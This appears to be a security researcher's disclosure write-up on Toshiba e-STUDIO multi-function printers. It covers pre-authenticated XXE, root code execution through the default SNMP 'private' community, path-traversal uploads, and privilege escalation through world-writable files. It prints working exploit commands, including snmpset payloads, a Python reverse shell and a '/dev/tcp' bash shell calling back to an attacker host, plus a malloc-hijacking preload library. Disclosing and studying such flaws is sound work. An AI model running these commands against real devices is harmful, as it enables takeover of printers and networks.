_Miscellaneous notes_:

This security assessment was entirely done using a blackbox approach
and fully-remote – I only had some IPs of printers (no physical access
and no credentials for admin or normal users). Consequently, the
physical security of the printers was not analyzed and the
vulnerabilities were confirmed with different models running the
latest firmware versions (e-STUDIO2010AC, e-STUDIO3005AC,
e-STUDIO3508A and e-STUDIO5018A).

The vulnerabilities were communicated to Toshiba on June 14, 2023 and
communications with Toshiba were very effective.

_Impacts_

An attacker can compromise Toshiba multi-function printers (MFP) and
execute code. These printers are running Linux and are powerful. They
are ideal to host implants (and fun programs, like Bettercap) and move
laterally inside infrastructures.

_Recommendations_

– – Use network segmentation to isolate MFPs.
– – Apply security patches.
– – Replace unsupported MFPs.

## Details – Pre-authenticated Blind XML External Entity (XXE) injection – DoS

The Toshiba printers use XML communication for the `/contentwebserver`
API endpoint provided by the printer.

This endpoint is managed by an Apache module located inside the
`mod_contentwebserver.so` library. This library provides XML parsing
and is vulnerable to a time-based blind XML External Entity (XXE)
vulnerability.

Using a Billion-laugh attack, we can confirm there is a time-based
blind XXE vulnerability. When sending only 1 entity (&lol1) that is
defined inside the lolz root element, this &lol1 entity is expanding
into 10 entities and the request takes 200ms.

With an entity that is expanding into:

– – 10^10 entities, the request takes 206ms;
– – 10^10^10 entities, the request takes 541ms;
– – 10^10^10^10 entities, the request takes 2.7s;
– – 10^10^10^10^2 entities, the request takes 8.8s;
– – 10^10^10^10^2 entities, the request takes 30.9s;

Even if the Apache server displays `MODULE_ERROR:SendRequest failed`,
the XML has been successfully evaluated by the
`mod_contentwebserver.so` library running in the remote printer.

The payload is:

POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0)

Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS;
IgnoreSessionTimeout=1

Using this HTTP request inside Burp (with a correct session while
browsing the printer without authentication), we can modify the entity
on the last line; we can see that the XML has been parsed by comparing
the time required for the printer to analyze the request.

The time will appear inside Burp on the bottom-right of the Window (in
red in the following screenshots):

https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]

With 10^10^10^10^4 entity, then request takes 30 seconds.

HTTP requests containing more XML complexity (with a lot of XML
entities to be parsed) will DoS the printer and the CPU of the printer
will run at 100%.

The XML parser is vulnerable to XXE, without authentication.

Exfiltration of file over HTTP, FTP and gopher was not obtained as
some protections seem to be implemented in the XML parser.

## Details – Pre-authenticated XXE injection

The Toshiba printers use XML communication for the `/contentwebserver`
API endpoint provided by the printer.

This endpoint is managed by an Apache module located inside the
`mod_contentwebserver.so` library. This library provides XML parsing
and is vulnerable to a XML External Entity (XXE) vulnerability.

Using a Billion-laugh attack and correctly formatted data for the
printer (with the Toshiba-specific non-public DTD, the tags will be
interpreted by the remote printer), we can confirm the presence of a
XXE vulnerability. The resulting evaluated XML will be displayed by
the printer:

The malicious payload is (containing a `<X>&lol4;</X>`):

The XML parser is vulnerable to XXE, without authentication.

An attacker can exploit the XXE to retrieve information.

Exploitability was not analyzed in depth since a RCE was found at the
same time: Pre-authenticated Remote Code Execution as root.

## Details – Pre-authenticated Remote Code Execution as root

It was observed that the Toshiba printers use SNMP for configuration.

By default, these communities are used:

– – `public` for read only access;
– – `private` for read/write access.

Using the `private` community, it is possible to remotely execute
commands as root on the remote printer.

For example, these commands will execute the command `id` as root on
the remote printer:

kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip]‘nsExtendStatus.”cmd”‘ = createAndGo ‘nsExtendCommand.”cmd”‘ = /bin/sh
‘nsExtendArgs.”cmd”‘ = ‘-c id’
NET-SNMP-EXTEND-MIB::nsExtendStatus.”cmd” = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand.”cmd” = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs.”cmd” = STRING: -c id

kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6
NET-SNMP-EXTEND-MIB::nsExtendCommand.”cmd” = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs.”cmd” = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput.”cmd” = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime.”cmd” = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType.”cmd” = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType.”cmd” = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage.”cmd” = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus.”cmd” = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line.”cmd” = STRING:
uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull.”cmd” = STRING:
uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines.”cmd” = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult.”cmd” = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine.”cmd”.1 = STRING: uid=0(root)
gid=2000(trusted) groups=0(root)

Using this vulnerability will allow any attacker to get a root access
on a remote Toshiba printer as shown below.

This following PoC will execute a connect-back shell with root
privilege to 10.0.0.2:21/tcp:

kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip]‘nsExtendStatus.”cmd”‘ = createAndGo ‘nsExtendCommand.”cmd”‘ =
/home/SYSROM_SRC/build/release/bin/python ‘nsExtendArgs.”cmd”‘ = ‘-c
“import sys,socket,os,pty;s=socket.socket();s.connect((\”10.0.0.2\”,21));[os.dup2(s.fileno(),fd)
for fd in (0,1,2)];pty.spawn(\”/bin/sh\”)”‘
NET-SNMP-EXTEND-MIB::nsExtendStatus.”cmd” = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand.”cmd” = STRING:
/home/SYSROM_SRC/build/release/bin/python
NET-SNMP-EXTEND-MIB::nsExtendArgs.”cmd” = STRING: -c “import
sys,socket,os,pty;s=socket.socket();s.connect((\”10.0.0.2\”,21));[os.dup2(s.fileno(),fd)
for fd in (0,1,2)];pty.spawn(\”/bin/sh\”)”
kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects

And on the attacker machine, we will receive a shell on port 21/tcp:

kali# nc -l -v -p 21
listening on [any] 21 …
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 43467
sh-4.1# uname -ap

sh-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
sh-4.1# exit

The attacker will then get a full root access in the printer,
including full access to the encrypted partition:

kali# nc -l -v -p 443
listening on [any] 443 …
10.0.0.1: inverse host lookup failed: Unknown host

bash-4.1#

The vulnerability is located inside net-snmpd, as net-snmpd supports
the `NET-SNMP-EXTEND-MIB` extension MIB.

This extension allows the execution of code from the net-snmpd daemon,
with root privileges, with 2 steps:

1. Definition of a new MIB;
2. Execution of the new MIB.

A bash payload is also provided:

This following PoC will download a shell script, save it inside
`/dev/shm/pwn.sh` and execute it as root on the targeted printer:

kali% cat /var/www/html/pwn.sh
#!/bin/sh

bash -i >& /dev/tcp/10.0.0.2/443 0>&1

kali% cat ./remote-pwn.sh

## Details – Pre-authenticated Remote Code Execution as root or apache
and multiple Local Privilege Escalations

Toshiba printers provide several ways to upload files using the web interface.

By default, this web interface is reachable without authentication.

For example, using the e-filing web interface, freely reachable using
http://ip:8080/?MAIN=EFILING, we can upload documents:

It is possible to upload a document:

The uploaded file will be stored inside the printer in the
/work/al/tmp/upload/ directory, inside a directory named by the
current session.

bash-4.1# find /work/al/tmp/upload
/work/al/tmp/upload

This current session is provided by the printer when visiting the web
interface without authentication.

An attacker can replay the HTTP request with a valid session obtained
while browsing http://ip/?MAIN=EFILING without authentication, and
change the path to the uploaded file. This path will then be used to
store the file inside the remote printer.

For example, with a `Name` variable set to
`/./../../../../../home/SYSROM_SRC/sbin/malicious.program`, the
uploaded file is correctly written into
`/home/SYSRM_SRC/sbin/malicious.program` inside the printer.

The HTTP request will be:

Burp Request:

And the file is correctly written into
`/home/SYSRM_SRC/sbin/malicious.program` inside the printer:

[please use the HTML version at
https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html]

This vulnerability can be used to get Remote Code Executions using
several different ways. Due to some weaknesses found in Toshiba
printers, there are hundreds different ways to get Remote Code
Execution. For example:

* Upload of a malicious library defined in the LD_PRELOAD variable:
* /ramdisk/al/libGetNameInfoInterface.so or
/ramdisk/al/libGetAddtInfoInterface.so can be overwritten by a
malicious library
* Upload of a malicious library using the LD_LIBRARY_PATH variable –
An attacker can upload malicious libraries inside:
* /home/SYSROM_SRC/build/release/lib,
* /mfp/lib,
* /home/SYSROM_SRC/NoBuildItems/common/lib,
* /home/SYSROM_SRC/build/thirdparty/plugins/platforminputcontexts/,
* /home/SYSROM_SRC/build/release/lib.
* Upload of a malicious program due to insecure permissions:
* As shown in Local Privilege Escalation and Remote Code Execution
using insecure permissions for 106 programs, a lot of programs running
as root can be overwritten due to insecure permissions (777)
* Upload a malicious Python program or a malicious Python library
* …

This lack of protection can be found in several HTML forms when using
the printer, without administrative privileges. For example, the page
at http://10.0.0.1:8080/Administration/maintenance/uploadsoft/DriverCustomize.html
allows uploading any file:

It is mandatory to inject a `<INPUT TYPE=SUBMIT>` in the server
response using Burp or to directly generate such request to upload any
file.

An example is shown below on how to get Remote Code Execution using
the upload of a malicious Python script in the next section, using the
following request:

We can find several webpages allowing exploiting the vulnerable
`/contentwebserver/upload` API.

It was determined that these webpages are using the insecure
`/contentwebserver/upload` API. They can be used by any attacker to
upload any file into the printers:

– – http://printer-ip/efiling/UploadFrame.html
– – http://printer-ip/efiling/UploadArchive.html
– – http://printer-ip/efiling/UploadFrame.html
– – http://printer-ip/efiling/UploadArchiveProgress.html
– – http://printer-ip/efiling/UpLoadArchiveClose.html
– – http://printer-ip/efiling/UploadArchiveButton.html
– – http://printer-ip/Registration/AddressBook/AddrImport.html
– – http://printer-ip/Registration/AddressBook/AddrImportListFrame.html
– – http://printer-ip/Administration/maintenance/uploadsoft/DriverCustomize.html
– – …

Some of these files are directly reachable without authentication
(e.g. Registration or efiling) and can be found without an admin
account.

### Remote Code Execution – Upload of a new .py module inside WSGI
Python programs

Some of the APIs and web interfaces of the printers are written in Python.

Since the permissions of these Python scripts inside the printers are
insecure, a backdoored version of the
`/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py`
has been uploaded as shown below:

Content of `/registration/al/TopAccessPy/server/screenfacade/appmgmt/views.py`

[…][/code]

Due to some reverse proxy rules and check before this API can be
reached, this Python code is reachable using the API path
`http://printerip/tapy/server/appmgmt/applistDeployed` with a cookie
previously provided by the printer when visiting http://printerip/
(without authentication).

When sending a HTTP request to
`http://printerip/tapy/server/appmgmt/applistDeployed`, the attacker
will receive a connect-back shell from the printer:

kali# nc -l -v -p 21

### Remote Code Execution – Upload of a new .ini configuration files
inside WSGI Python programs

It is possible to overwrite the .ini configuration file used by WSGI
Python programs. This technique is public as of 2023-02-28:
https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html.

Apache is running with WSGI configurations:

bash-4.1# ps auxww | grep apache
apache 1611 0.0 0.1 1264444 3708 ? Sl 10:37 0:00
/usr/local/ebx/httpd_worker/bin/httpd_worker -f
/encryption/al/network/config/httpd-prox.conf -k start
apache 1822 0.2 3.6 483056 108852 ? Sl 10:37 1:02
(wsgi:webpanel) -f
/encryption/al/network/config/httpd-wsgi.conf -k start
apache 1823 0.0 2.1 270952 64172 ? Sl 10:37 0:05
(wsgi:topaccesspy) -f
/encryption/al/network/config/httpd-wsgi.conf -k start
apache 1824 0.0 0.1 285148 4452 ? Sl 10:37 0:00
/usr/local/ebx/httpd_worker/bin/httpd_worker -f
/encryption/al/network/config/httpd-wsgi.conf -k start

The Python scripts running as WSGI are configured with specific .ini
configuration files:

– – `/registration/al/WebPanel/development.ini`
– – `/registration/al/TopAccessPy/development.ini`

Unfortunately, these configuration files can be rewritten because of
insecure permissions, allowing a remote attacker to execute commands,
as described in recent public research.

These files have insecure permissions as shown below:

bash-4.1# ls -la /registration/al/WebPanel/

The `/tmp/gdb_commands.txt` gdb script (used by gdb in the
`/tmp/backtraceScript.sh` script) can be also overwritten by an
attacker to contain gdb commands and get Remote Code Execution.

An attacker can change the `/tmp/backtraceScript.sh` to get Remote
Code Execution.

An attacker can change the `/tmp/gdb_commands.txt` script to get
Remote Code Execution.

### Remote Code Execution – Upload of a malicious
`/home/SYSROM_SRC/build/common/bin/sapphost.py` program

The program `/home/SYSROM_SRC/build/release/bin/sapphost.py` runs as
root when the printer starts:

bash-4.1# ps auxww|grep python
root 3984 5.0 5.3 200160 70944 ? Sl 18:49 0:03
python /home/SYSROM_SRC/build/release/bin/sapphost.py
10000000-0000-0000-0000-500000000000
root 4597 4.5 3.5 144312 47740 ? Sl 18:49 0:02
python /home/SYSROM_SRC/build/release/bin/sapphost.py
10000000-0000-0000-0000-500000000001
root 5193 0.0 0.1 12616 1852 ? S 18:50 0:00 grep python
bash-4.1#

`/home/SYSROM_SRC/build/release/bin/sapphost.py` is a symbolic link to
`/home/SYSROM_SRC/build/common/bin/sapphost.py` and this Python
program has insecure permissions, allowing any local user or any
remote attacker leveraging the insecure file upload vulnerability to
overwrite it:

bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/sapphost.py
lrwxrwxrwx 1 root root 32 Mar 15 11:44
/home/SYSROM_SRC/build/release/bin/sapphost.py ->
../../thirdparty/bin/sapphost.py
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/sapphost.py
lrwxrwxrwx 1 root root 28 Mar 15 11:44
/home/SYSROM_SRC/build/thirdparty/bin/sapphost.py ->
../../common/bin/sapphost.py
bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/sapphost.py
-rwxrwxrwx 1 root root 2124 Oct 12 2021
/home/SYSROM_SRC/build/common/bin/sapphost.py

An attacker can overwrite this Python code to get Remote Code
Execution when the printer starts.

### Remote Code Execution – Upload of malicious libraries

When analyzing the processes running in the printers, it appears the
`LD_PRELOAD` variable is used to load specific shared libraries:

– – `/ramdisk/al/libGetNameInfoInterface.so`
– – `/ramdisk/al/libGetAddtInfoInterface.so`

We can find the `LD_PRELOAD` variable set by default in programs
running in the printers:

bash-4.1# printenv | grep LD_PRELO
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
-rwxrwxrwx 1 root root 70813 Dec 6 02:02
/ramdisk/al/libGetNameInfoInterface.so
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
-rwxrwxrwx 1 root root 87311 Dec 6 02:02
/ramdisk/al/libGetAddtInfoInterface.so
bash-4.1#

For example, when sending 55 HTTP requests to the printers, new Apache
processes running as root will be created on the fly by the printer,
as shown below. These new processes will load and execute code from
`libGetNameInfoInterface.so` and `libGetAddtInfoInterface.so`. An
attacker can rewrite any file over them to get Remote Code Execution.

Using the HTTP request from the Pre-authenticated Blind XML External
Entity (XXE) injection – DoS, we will send 55 HTTP requests (only the
last 3 are displayed) containing the Billion-Laugh Attack, to create
new Apache processes in the remote printer:

Because of weak permissions, we can overwrite hundreds of libraries to
get Remote Code Execution.

We can overwrite the 2 libraries that will be loaded by default by the
programs running inside the printers:

– – `/ramdisk/al/libGetAddtInfoInterface.so`
– – `/ramdisk/al/libGetNameInfoInterface.so`

These 2 libraries export Intel-optimized functions.

Exported functions found in the LD_PRELOAD’ed libraries:

An attacker can create a new library and export a function that will
be used by any program, for example `malloc()`.

A custom library has been written, hijacking the control flow of the
`malloc()` function:

kali% cat Makefile
all:
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c

kali% cat malloc.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <dlfcn.h>

void *malloc(size_t size)
{
static void *(*fptr)(size_t) = NULL;

if (fptr == NULL)
{
fptr = (void *(*)(size_t))dlsym(RTLD_NEXT, “malloc”);
if (fptr == NULL)
{
printf(“dlsym: %s\n”, dlerror());
return NULL;
}
}

system(“LD_PRELOAD=” id > /dev/shm/id”);

return (*fptr)(size);
}
kali% make
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c
kali% ls -la
total 32
drwx—— 2 user user 4096 May 13 11:04 .
drwx—— 4 user user 4096 May 13 11:02 ..
-rw——- 1 user user 112 May 13 11:04 Makefile
-rw——- 1 user user 398 May 13 11:03 malloc.c
-rwx—— 1 user user 14696 May 13 11:04 malloc.so
kali%

When uploading this library as
`/ramdisk/al/libGetAddtInfoInterface.so` or
`/ramdisk/al/libGetNameInfoInterface.so`, the `malloc()` function will
be executed by some programs running inside the printers and the id
command will be executed as root (the output will be written into
`/dev/shm/id`).

A side effect it that a lot of programs will also crash. The execution
of the malicious payload will still work.

By targeting only specific functions used by Apache or specific
programs inside the printer, it is possible to avoid crashing the
programs.

### Other ways to get Remote Code Execution

An attacker can use the other vulnerabilities to get Remote Code Execution:

– – Local Privilege Escalation and Remote Code Execution using insecure PATH
– – Local Privilege Escalation and Remote Code Execution using
insecure LD_PRELOAD
– – Local Privilege Escalation and Remote Code Execution using
insecure LD_LIBRARY_PATH
– – Local Privilege Escalation and Remote Code Execution using
insecure permissions for 106 programs
– – Local Privilege Escalation and Remote Code Execution using CISSM

An attacker can remotely compromise any Toshiba printer.

An attacker can overwrite any insecure files (including programs
running as root and Python code).

Toshiba printers provide several ways to upload files using the admin
web interface.

The vulnerability in this chapter is similar to Pre-authenticated
Remote Code Execution as root or apache and multiple Local Privilege
Escalations but requires authentication on the TopAccess interface.

When an administrator is authenticated, it is possible to upload
documents within the web interface using the maintenance interface:

– – Upload of drivers files;
– – Upload of MAC PPD Files;
– – Upload of Unix Filters;
– – Upload of Driver packages;
– – Upload of address book, mailboxes and templates;
– – Upload of SSL certificates;
– – …

Several webpages with an upload forms can be found in the admin interface:

– – http://printer-ip/Administration/maintenance/uploadsoft/UnixList.html
– – http://printer-ip/Administration/maintenance/uploadsoft/UploadList.html
– – http://printer-ip/Administration/maintenance/xmlformat/XmlFormatList.html

All these upload functionalities are vulnerable: they allow an
attacker with admin privilege to overwrite any file present in the
printers.

The vulnerability likely resides in the
`/home/SYSROM_SRC/build/release/lib/mod_contentwebserver.so.0`
library, where the `/contentwebserver/upload` API is implemented.
Consequently, this is a unique vulnerability that is reachable by
using different upload forms.

For example, we can see 3 different types of upload forms:

Upload of Driver files

Upload of Unix filters

Upload of address book, mailboxes and templates

All of these forms are vulnerable by crafting a malicious `name` value
as shown in the next screenshot. It is possible to change the HTTP
request by modifying the name value to rewrite any file in the
printer.

For example, it is possible to overwrite the
`/home/SYSROM_SRC/build/common/bin/networkservice/ldapserver` shell
script by sending a malicious file using the name value
`/./../../../../../home/SYSROM_SRC/build/common/bin/networkservice/ldapserver`:

Upload of malicious ldapserver shell script:

Following this HTTP request, the file
`/home/SYSROM_SRC/build/common/bin/networkservice/ldapserver` will be
overwritten with a malicious payload.

Before the execution of the HTTP request, the file is normal:

bash-4.1# ls -la /home/SYSROM_SRC/build/common/bin/networkservice/ldapserver
-rwxrwxrwx 1 root root 7007 Mar 15 11:45

echo “slapd is stopped”
kill -SIGINT `pgrep slapd`

}

function start() {

And we can confirm this file has been uploaded on the printer:

bash-4.1# ls -la /home/SYSROM_SRC/sbin/malicious.program
-rw-rw-rw- 1 apache trusted 5 May 27 07:48
/home/SYSROM_SRC/sbin/malicious.program
bash-4.1#

An attacker with admin privileges can remotely compromise any Toshiba printer.

An attacker with admin privileges can overwrite any insecure file
(including programs running as root and Python code).

## Details – Lack of privileges separation

Toshiba printers do not implement privileges separation. An attacker
compromising a program will be able to compromise the entire printer.

For example, all the programs, except Apache, are running as root.

Apache is not running as root but a Local Privilege Escalation can be
achieved using one of these vulnerabilities:

– – Local Privilege Escalation and Remote Code Execution using snmpd
– – Local Privilege Escalation and Remote Code Execution using insecure PATH
– – Local Privilege Escalation and Remote Code Execution using
insecure LD_PRELOAD
– – Local Privilege Escalation and Remote Code Execution using
insecure LD_LIBRARY_PATH
– – Local Privilege Escalation and Remote Code Execution using
insecure permissions for 106 programs

The printer does not implement separation of privileges.

A vulnerability found inside one of the multiple components in the
printer is enough to completely compromise the security of printer.

## Details – Local Privilege Escalation and Remote Code Execution using snmpd

Toshiba printers are vulnerable to a Local Privilege Escalation
vulnerability because of an insecure library defined inside the
configuration of snmpd. This Local Privilege Escalation can be also
exploited as a Remote Code Execution by uploading a malicious library.

The snmpd configuration file located at
`/encryption/al/network/config/snmpd.conf` contains the loading of an
external and Toshiba-specific library. The code contained inside this
library will be executed as root (as snmpd is running as root).

Content of `/encryption/al/network/config/snmpd.conf`:

dlmod mibs_impl
/home/SYSROM_SRC/lib/libalmibs_impl.so

This file is a symbolic link to the
`/home/SYSROM_SRC/lib/libalmibs_impl.so.0` library.

The `/home/SYSROM_SRC/lib/libalmibs_impl.so.0` file has incorrect
permissions, allowing any local attacker or any remote attacker
exploiting the Pre-authenticated Remote Code Execution as root or
apache and multiple Local Privilege Escalations vulnerability to
replace this file with a malicious library.

bash-4.1# ls -la /home/SYSROM_SRC/lib/libalmibs_impl.so*
lrwxrwxrwx 1 root root 19 Mar 14 16:27
/home/SYSROM_SRC/lib/libalmibs_impl.so -> libalmibs_impl.so.0
-rwxrwxrwx 1 root root 5239499 Dec 6 03:28
/home/SYSROM_SRC/lib/libalmibs_impl.so.0
bash-4.1#

This file will be loaded when snmpd starts. The snmpd program starts
during the boot of the printer and is automatically restarted when it
crashes.

It is possible to crash the remote snmpd server using the
Pre-authenticated Remote Code Execution as root vulnerability to force
the restart of the snmpd daemon, load the malicious library and
compromise the printer.

An attacker can remotely compromise any Toshiba printer.

## Details – Local Privilege Escalation and Remote Code Execution
using insecure PATH

Toshiba printers are vulnerable to a Local Privilege Escalation
vulnerability because of an insecure PATH variable. This Local
Privilege Escalation can be also exploited as a Remote Code Execution
by uploading a malicious program using the Pre-authenticated Remote
Code Execution as root or apache and multiple Local Privilege
Escalations vulnerability.

It was observed that the Toshiba printers are configured with an
insecure `$PATH` variable:

bash-4.1# echo $PATH
/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:
/home/SYSROM_SRC/build/release/sbin:/home/SYSROM_SRC/build/release/bin:/home/SYSROM_SRC/build/release/sbin:
/bin:/usr/bin:/sbin:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin:/sbin:/bin/:/usr/bin/:/usr/sbin
bash-4.1#

The `$PATH` variable contains several directories with insecure
permissions (777) allowing any attacker to plant malicious programs
that will be then executed instead of regular programs:

– – `/home/SYSROM_SRC/build/release/bin`
– – `/home/SYSROM_SRC/build/release/sbin`

These 2 directories are specified multiple times and are configured
with the 777 permissions:

Insecure permissions of `/home/SYSROM_SRC/build/release/bin` and
`/home/SYSROM_SRC/build/release`:

An attacker can place any malicious program inside
`/home/SYSROM_SRC/build/release/bin` or
`/home/SYSROM_SRC/build/release/sbin` and they will be executed before
legit programs that are stored in the regular UNIX directories
(`/bin`, `/usr/bin`, `/sbin`, `/usr/sbin`).

An attacker can remotely compromise any Toshiba printer.

## Details – Local Privilege Escalation and Remote Code Execution
using insecure LD_PRELOAD

Toshiba printers are vulnerable to a Local Privilege Escalation
vulnerability because of an insecure LD_PRELOAD variable. This Local
Privilege Escalation can be also exploited as a Remote Code Execution
by uploading a malicious library using the Pre-authenticated Remote
Code Execution as root or apache and multiple Local Privilege
Escalations vulnerability.

Toshiba printers are configured with an insecure `LD_PRELOAD` variable:

bash-4.1# printenv | grep LD_PRELOAD
LD_PRELOAD=/ramdisk/al/libGetNameInfoInterface.so:/ramdisk/al/libGetAddtInfoInterface.so:
bash-4.1#

The `$LD_PRELOAD` variable contains 2 libraries with insecure
permissions (777) allowing any attacker to replace these libraries
with malicious libraries that will be then executed:

– – `/ramdisk/al/libGetNameInfoInterface.so`
– – `/ramdisk/al/libGetAddtInfoInterface.so`

Checking the permissions of libraries defined in LD_PRELOAD:

bash-4.1# ls -la /ramdisk/al/libGetNameInfoInterface.so
-rwxrwxrwx 1 root root 70813 Dec 6 02:02
/ramdisk/al/libGetNameInfoInterface.so
bash-4.1# s -la /ramdisk/al/libGetAddtInfoInterface.so
-rwxrwxrwx 1 root root 87311 Dec 6 02:02
/ramdisk/al/libGetAddtInfoInterface.so
bash-4.1#

We can confirm these 2 libraries are loaded within programs inside the printers.

Using `/proc/$PID/maps`, we can list the libraries loaded inside the
programs: these libraries are loaded inside all the programs running
as root and apache in the printers:

bash-4.1# cd /proc && for i in */; do cat $i/cmdline && echo &&
grep ramdisk $i/maps;done

An attacker can remotely compromise any Toshiba printer.

## Details – Local Privilege Escalation and Remote Code Execution
using insecure LD_LIBRARY_PATH

Toshiba printers are vulnerable to a Local Privilege Escalation
vulnerability because of an insecure LD_LIBRARY_PATH variable. This
Local Privilege Escalation can be also exploited as a Remote Code
Execution by uploading a malicious library using the Pre-authenticated
Remote Code Execution as root or apache and multiple Local Privilege
Escalations vulnerability.

Toshiba printers are configured with an insecure `$LD_LIBRARY_PATH` variable:

bash-4.1# printenv|grep LD_LIBRARY_PATH
LD_LIBRARY_PATH=/home/SYSROM_SRC/build/release/lib:/mfp/lib:/home/SYSROM_SRC/NoBuildItems/common/lib:/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/:/home/SYSROM_SRC/build/release/lib
bash-4.1#

The `$LD_LIBRARY_PATH` variable contains 4 directories insecure
permissions (777) allowing any attacker to replace these libraries
with malicious libraries that will be then executed:

– – `/home/SYSROM_SRC/build/release/lib`
– – `/mfp/lib`
– – `/home/SYSROM_SRC/NoBuildItems/common/lib`
– – `/home/SYSROM_SRC/build/thirdparty//plugins//platforminputcontexts/`

An attacker can remotely compromise any Toshiba printer.

## Details – Local Privilege Escalation and Remote Code Execution
using insecure permissions for 106 programs

Some vendor-specific programs are running inside Toshiba printers.
These programs run as root and have insecure permissions (777)
allowing an attacker to replace these programs with malicious
programs. This Local Privilege Escalation can be also exploited as a
Remote Code Execution by uploading a malicious program using the
Pre-authenticated Remote Code Execution as root or apache and multiple
Local Privilege Escalations vulnerability.

Some programs are running as root, for example:

bash-4.1# ps auxw | grep root
root 1448 0.0 0.7 143680 21860 ? Sl 16:34 0:00
/home/SYSROM_SRC/build/release/bin/slapd -h ldap://127.0.0.1 -f

[…]

Using this one-liner, it is possible to list the file corresponding to
programs running inside the printers:

Programs running as root:

Running with a different user:

for i in $(ps auxww | grep -v root | awk ‘{ print $11 }’ | grep -v
‘^\[‘ | grep -v COMMAND | grep -v ‘(‘ | grep -v ‘:$’ | grep -v
‘supervising’ | sort | uniq); do ls -la $(which “$(echo $i | sed -e
‘s#^\./##’)”);done

These commands allow to list 106 vulnerable programs found inside the printers.

### 3 vulnerable programs not running as root

3 programs have been identified as vulnerable (running with a
low-privileged user and that can be overwritten by any local or remote
attacker):

– – /home/SYSROM_SRC/thirdparty/sbin/slpd
– – /usr/local/ebx/bin/httpd
– – /usr/local/ebx/httpd_worker/bin/httpd_worker

Vulnerable programs not running as root:

bash-4.1# for i in $(ps auxww | grep -v root | awk ‘{ print $11 }’
| grep -v ‘^\[‘ | grep -v COMMAND | grep -v ‘(‘ | grep -v ‘:$’ | grep
-v ‘supervising’ | sort | uniq); do ls -la $(which “$(echo $i | sed -e
‘s#^\./##’)”);done

lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/bin/slpd

-rwxrwxrwx 1 apache messagebus 656546 Dec 6 01:34 /usr/local/ebx/bin/httpd
-rwxrwxrwx 1 apache messagebus 665612 Dec 6 01:34
/usr/local/ebx/httpd_worker/bin/httpd_worker
bash-4.1#

When following the link to slpd, we can confirm it is also vulnerable:

bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/slpd
-rwxrwxrwx 1 root root 106023 Dec 6 01:27
/home/SYSROM_SRC/build/thirdparty/sbin/slpd
bash-4.1#

### 103 vulnerable programs running as root

An attacker can remotely compromise any Toshiba printer.

The programs can be replaced by malicious programs by any local or
remote attacker.

## Details – Local Privilege Escalation and Remote Code Execution
using insecure permissions for libraries

Some vendor-specific programs are running inside Toshiba printers.
These programs run as root and use code from libraries that have
insecure permissions (777) allowing an attacker to replace these
libraries with malicious ones. This Local Privilege Escalation can be
also exploited as a Remote Code Execution by uploading a malicious
library using the Pre-authenticated Remote Code Execution as root or
apache and multiple Local Privilege Escalations vulnerability.

For example, the `/home/SYSROM_SRC/bin/syscallerr` program runs
regularly as root:

### Example with `/home/SYSROM_SRC/bin/syscallerr`:

An attacker can remotely compromise any Toshiba printer.

The libraries (more than hundreds) used by these programs can be
replaced by malicious libraries by any local or remote attacker.

## Details – Local Privilege Escalation and Remote Code Execution using CISSM

It was observed that the `cissm` program runs as root inside the
printers. This Toshiba-specific program will start children processes
as shown below, based on the content of the
`/home/SYSROM_SRC/build/common/bin/ssm.xml` XML file stored in the
printer:

bash-4.1# ps auxw | grep cissm
root 1487 0.0 0.3 53496 10184 ? Sl 16:34 0:02

The XML configuration file used by cissm is located at
